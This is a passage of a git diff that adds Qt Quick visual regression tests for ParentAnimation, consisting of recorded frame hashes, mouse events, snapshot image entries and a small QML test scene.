+ }
+ Frame {
+ msec: 2816
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2832
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2848
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2864
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2880
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2896
+ image: "parentAnimation-visual.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2928
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2944
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2960
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2976
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 2992
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3008
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3024
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3040
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3056
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3072
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3088
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3104
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3120
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3136
+ hash: "234b795b5dd412e4397f132f03f38175"
+ }
+ Frame {
+ msec: 3152
+ hash: "eca09aebcc15501fd348b9eb19b54ee2"
+ }
+ Frame {
+ msec: 3168
+ hash: "6ab63f771ac705439157cf0ed84bc274"
+ }
+ Frame {
+ msec: 3184
+ hash: "42212db87d03c35e96e38ac200bd9ec2"
+ }
+ Frame {
+ msec: 3200
+ hash: "46a79ff030b89a4c8791fd853a96b64f"
+ }
+ Frame {
+ msec: 3216
+ hash: "cdfee36535e491328f5045b6f3378b64"
+ }
+ Frame {
+ msec: 3232
+ hash: "5cfc7db34110aa39f296fe4475de0c08"
+ }
+ Frame {
+ msec: 3248
+ hash: "df59e3aa557a661ce513523c3059c41d"
+ }
+ Frame {
+ msec: 3264
+ hash: "2d2f8fc7d695bcd20ef682b25a22186a"
+ }
+ Frame {
+ msec: 3280
+ hash: "daac5f2d4b451501669a7767d0a19ccc"
+ }
+ Frame {
+ msec: 3296
+ hash: "e10801e6c7086eac3eaaa48a3d39bb95"
+ }
+ Frame {
+ msec: 3312
+ hash: "a5fdf57b20bf4d4aad99f02a13bbfc66"
+ }
+ Frame {
+ msec: 3328
+ hash: "b48721b169b4a1118b040a9e41c252a1"
+ }
+ Frame {
+ msec: 3344
+ hash: "242425f06d5706f0483e49812bfb4718"
+ }
+ Frame {
+ msec: 3360
+ hash: "33bdd4d71b1736055d821ee5040bfaed"
+ }
+ Frame {
+ msec: 3376
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3392
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3408
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3424
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3440
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3456
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3472
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3488
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3504
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3520
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3536
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3552
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3568
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3584
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3600
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3616
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3632
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 181; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "dce97e76b2541bbee52b0df1c1bb3d44"
+ }
+ Frame {
+ msec: 3664
+ hash: "b985be8701f0bbb73facfe745d43e32f"
+ }
+ Frame {
+ msec: 3680
+ hash: "6b3e91ff248516656fd2efe26db6c900"
+ }
+ Frame {
+ msec: 3696
+ hash: "40bd9296de59b3abc5b7a204a6ecff3f"
+ }
+ Frame {
+ msec: 3712
+ hash: "615817b53baf0d0cd290b18ad9deee4d"
+ }
+ Frame {
+ msec: 3728
+ hash: "c990d9afcebfc4dcc35457d555d7e9cb"
+ }
+ Frame {
+ msec: 3744
+ hash: "2d1a4687abe3fd7b1911f8e5020c4378"
+ }
+ Frame {
+ msec: 3760
+ hash: "b5e1399f1924dafa6782da6b739af882"
+ }
+ Frame {
+ msec: 3776
+ hash: "8686a36600410f4f39f558eadfb3479f"
+ }
+ Frame {
+ msec: 3792
+ hash: "39f1f7573198f86e1452211f62dc7f1a"
+ }
+ Frame {
+ msec: 3808
+ hash: "fbfbbcb5637c0f90396150abb0aecb14"
+ }
+ Frame {
+ msec: 3824
+ hash: "2c071570228d5a121a64c4c01c443ab2"
+ }
+ Frame {
+ msec: 3840
+ hash: "4e076ea1d8f566eca9aa5eb55ce02098"
+ }
+ Frame {
+ msec: 3856
+ image: "parentAnimation-visual.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "b519ad1958ea69fc4682c06e83f22c42"
+ }
+ Frame {
+ msec: 3888
+ hash: "155b39717f45fe5d36348c499635e759"
+ }
+ Frame {
+ msec: 3904
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3920
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3936
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3952
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3968
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 3984
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4000
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4016
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4032
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4048
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4064
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4080
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4096
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4112
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4128
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4144
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4160
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4176
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4192
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4208
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4224
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4240
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4256
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4272
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4288
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4304
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4320
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4336
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4352
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4368
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4384
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4400
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+ Frame {
+ msec: 4416
+ hash: "fbf01bb217e393b79a6a2c567750de89"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation-visual.qml
new file mode 100644
index 00000000..025aa800
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation/parentAnimation-visual.qml
@@ -0,0 +1,68 @@
+import QtQuick 1.0
+
+/*
+This test shows a green rectangle moving and growing from the upper-left corner
+of the black rectangle to the same position as the red rectangle (it should end up
+the same height as the red rect and twice as wide). There should be no odd jumps or clipping seen.
+
+The test shows one full transition (to the red and back), then several partial transitions, and
+then a final full transition.
+*/
+
+Rectangle {
+ width: 400;
+ height: 240;
+ color: "black";
+
+ Rectangle {
+ id: gr
+ color: "green"
+ width: 50; height: 50
+ }
+
+ MouseArea {
+ id: mouser
+ anchors.fill: parent
+ }
+
+ Rectangle {
+ id: np
+ x: 150
+ width: 150; height: 150
+ color: "yellow"
+ clip: true
+ Rectangle {
+ color: "red"
+ x: 50; y: 50; height: 50; width: 50
+ }
+
+ }
+
+ Rectangle {
+ id: vp
+ x: 100; y: 100
+ width: 50; height: 50
+ color: "blue"
+ rotation: 45
+ scale: 2
+ }
+
+ states: State {
+ name: "state1"
+ when: mouser.pressed
+ ParentChange {
+ target: gr
+ parent: np
+ x: 50; y: 50; width: 100;
+ }
+ }
+
+ transitions: Transition {
+ reversible: true
+ to: "state1"
+ ParentAnimation {
+ target: gr; via: vp;
+ NumberAnimation { properties: "x,y,rotation,scale,width" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.0.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.0.png
new file mode 100644
index 00000000..03ae932a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.1.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.1.png
new file mode 100644
index 00000000..175adc3c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.2.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.2.png
new file mode 100644
index 00000000..4dbe6a4f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.3.png b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.3.png
new file mode 100644
index 00000000..b9ea6b87
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.qml b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.qml
new file mode 100644
index 00000000..1d7817b6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/parentAnimation2/data/parentAnimation2.qml
@@ -0,0 +1,1023 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "parentAnimation2.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 48
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 64
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 80
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 96
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 112
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 128
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 144
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 160
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 176
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 192
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 208
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 224
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 240
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 256
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 272
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 288
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 304
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 320
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 336
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 352
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 368
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 384
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 400
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 416
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 432
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 448
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 464
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 480
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 496
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 512
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 528
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 544
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 560
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 576
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 592
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 608
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 624
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 640
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 656
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 672
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 688
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 704
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 350; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 720
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 736
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 752
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 768
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 784
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 800
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 350; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 816
+ hash: "b3bfd7a06d3e246f4256ab5a267360b0"
+ }
+ Frame {
+ msec: 832
+ hash: "9b524b546d250d239ea99dd3319f3d6a"
+ }
+ Frame {
+ msec: 848
+ hash: "593300f166c2fd3c325cb35114ca595b"
+ }
+ Frame {
+ msec: 864
+ hash: "4451e76e111c99faa77b5fff9a2642fa"
+ }
+ Frame {
+ msec: 880
+ hash: "0b4a5675afba935e17eba19e29b709ee"
+ }
+ Frame {
+ msec: 896
+ hash: "8682866f0234eebf25aca27a7737c777"
+ }
+ Frame {
+ msec: 912
+ hash: "5b3b70dd366bb4c1b5e7d56ce50e59a6"
+ }
+ Frame {
+ msec: 928
+ hash: "897394982c93ebcbea68c25cec6d47d3"
+ }
+ Frame {
+ msec: 944
+ hash: "23c3c0383a517d33767adeebc53bfa3a"
+ }
+ Frame {
+ msec: 960
+ hash: "5983f3e0800859134bff0182fe9e0142"
+ }
+ Frame {
+ msec: 976
+ image: "parentAnimation2.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "dbb9a5aa9f569b97711aa2c1f5ebda47"
+ }
+ Frame {
+ msec: 1008
+ hash: "0a5a73409b019e650ea860e1a8e27328"
+ }
+ Frame {
+ msec: 1024
+ hash: "496bd0d053522bcf71d506b497ede0d5"
+ }
+ Frame {
+ msec: 1040
+ hash: "97a32b4a6c99ffe842c35e903bd23d79"
+ }
+ Frame {
+ msec: 1056
+ hash: "496dfbbb0c0c28e108adf4c25341ef11"
+ }
+ Frame {
+ msec: 1072
+ hash: "aa2e5eb88b1498f0d36897be2a36b0ff"
+ }
+ Frame {
+ msec: 1088
+ hash: "0c6f7b54264ab36cfd5145fb7b30432f"
+ }
+ Frame {
+ msec: 1104
+ hash: "797fc3ea1db51f12d900b4e0e4998065"
+ }
+ Frame {
+ msec: 1120
+ hash: "2b076b8bc1ec1e2f21a4d7a77c94cfeb"
+ }
+ Frame {
+ msec: 1136
+ hash: "8d5888ca1cfba19cea569bd38bada417"
+ }
+ Frame {
+ msec: 1152
+ hash: "15ae94de5aa106eaa18d0faefa5d61f5"
+ }
+ Frame {
+ msec: 1168
+ hash: "96e90d74d5a7788d5a6da6cfdb92b185"
+ }
+ Frame {
+ msec: 1184
+ hash: "5698a5e9e628209fc28644198eac65da"
+ }
+ Frame {
+ msec: 1200
+ hash: "074ac8f08de8f22c241e23ad8b89b0f0"
+ }
+ Frame {
+ msec: 1216
+ hash: "a49fdf41e9ee1e5d764262d4585af2ff"
+ }
+ Frame {
+ msec: 1232
+ hash: "accc9b6573a676a40fcf0129085f6fce"
+ }
+ Frame {
+ msec: 1248
+ hash: "1cc956d55f0c382c2f74dcc05a05494f"
+ }
+ Frame {
+ msec: 1264
+ hash: "38ff3121566b2c719f47d027fcef8b8e"
+ }
+ Frame {
+ msec: 1280
+ hash: "4de97b3361a16ca1710f2e75d5c9de6f"
+ }
+ Frame {
+ msec: 1296
+ hash: "dbd1455105630bb8f262140e79ceda1b"
+ }
+ Frame {
+ msec: 1312
+ hash: "bcdac4ab71a29b78bfa756b56b8d8414"
+ }
+ Frame {
+ msec: 1328
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1344
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1360
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1376
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1392
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1408
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1424
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1440
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1456
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1472
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1488
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1504
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1520
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1536
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1552
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1568
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1584
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1600
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1616
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1632
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1648
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1664
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1680
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1696
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1712
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 415; y: 121
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1728
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1744
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1760
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1776
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1792
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1808
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1824
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 415; y: 121
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1840
+ hash: "f02f73a85532c1dd403d64c50c7e73ca"
+ }
+ Frame {
+ msec: 1856
+ hash: "b59fbcfb7db77cf30ea4ff039a9163ae"
+ }
+ Frame {
+ msec: 1872
+ hash: "432a76f0663bfd35f6bbeb3fbeb91799"
+ }
+ Frame {
+ msec: 1888
+ hash: "098e18005d3a2ff9095587954c92339c"
+ }
+ Frame {
+ msec: 1904
+ hash: "069100bf4ec523a9e9d5bf557ffc51d1"
+ }
+ Frame {
+ msec: 1920
+ hash: "3210f97ac2799d84fc1d872c4c2994f7"
+ }
+ Frame {
+ msec: 1936
+ image: "parentAnimation2.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "79aa15dc74668d963f36f28524f4d091"
+ }
+ Frame {
+ msec: 1968
+ hash: "6838cb2d728259adc8d91a4a69e35adf"
+ }
+ Frame {
+ msec: 1984
+ hash: "3f73c720ce5f1e65fb8537a9beb66d26"
+ }
+ Frame {
+ msec: 2000
+ hash: "95d990ccd3e45e780d875aae1f4654f8"
+ }
+ Frame {
+ msec: 2016
+ hash: "5389a121571f61e73903305860e60016"
+ }
+ Frame {
+ msec: 2032
+ hash: "66f0018b6f35c1c18b28f4959eef96a8"
+ }
+ Frame {
+ msec: 2048
+ hash: "c0fa0560a9a5a0f773394c4fd98c9fa3"
+ }
+ Frame {
+ msec: 2064
+ hash: "e2d665ae0ac3007520003bb4a24ca708"
+ }
+ Frame {
+ msec: 2080
+ hash: "ab6e6976e4214c725f71a4f0ba6d3f68"
+ }
+ Frame {
+ msec: 2096
+ hash: "642f48f731f896d0d4b66956485b615b"
+ }
+ Frame {
+ msec: 2112
+ hash: "cdc36222978e4361dd3ddc2cba78328d"
+ }
+ Frame {
+ msec: 2128
+ hash: "22fe869d83d9d290c4d1702e7553c7aa"
+ }
+ Frame {
+ msec: 2144
+ hash: "3cf2b6a4fd5c73c24717a1ce901cfb19"
+ }
+ Frame {
+ msec: 2160
+ hash: "ea7ecad2a9b7e6ca9a9d1c9c46e0f6dc"
+ }
+ Frame {
+ msec: 2176
+ hash: "3a7e7e2145b40732ef4e18218a959536"
+ }
+ Frame {
+ msec: 2192
+ hash: "1386046373ab246ae533aba206ffe502"
+ }
+ Frame {
+ msec: 2208
+ hash: "2183072e2117c2bc660767bc67e6c355"
+ }
+ Frame {
+ msec: 2224
+ hash: "659c6fedf573d19727f9852a9034e4fe"
+ }
+ Frame {
+ msec: 2240
+ hash: "5be4e8fa87593aeb4d59768a61441c37"
+ }
+ Frame {
+ msec: 2256
+ hash: "2030b883508d07735b20726d218fd751"
+ }
+ Frame {
+ msec: 2272
+ hash: "fd70334fa8a1ff80369cce6aa69255c4"
+ }
+ Frame {
+ msec: 2288
+ hash: "be666aafc8a3d2de9ffaff54d9ac15d1"
+ }
+ Frame {
+ msec: 2304
+ hash: "3370f2246f679068e40cdb48c92decad"
+ }
+ Frame {
+ msec: 2320
+ hash: "f0b4565fd441c071112bdc8225861f76"
+ }
+ Frame {
+ msec: 2336
+ hash: "61babd82afc20a3023c2fe483a2e73cb"
+ }
+ Frame {
+ msec: 2352
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2368
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2384
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2400
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2416
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2432
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2448
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2464
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2480
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2496
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2512
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2528
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2544
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2560
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
+ msec: 2576
+ hash: "acab4a79f22ebc8a45759ae282e8f3db"
+ }
+ Frame {
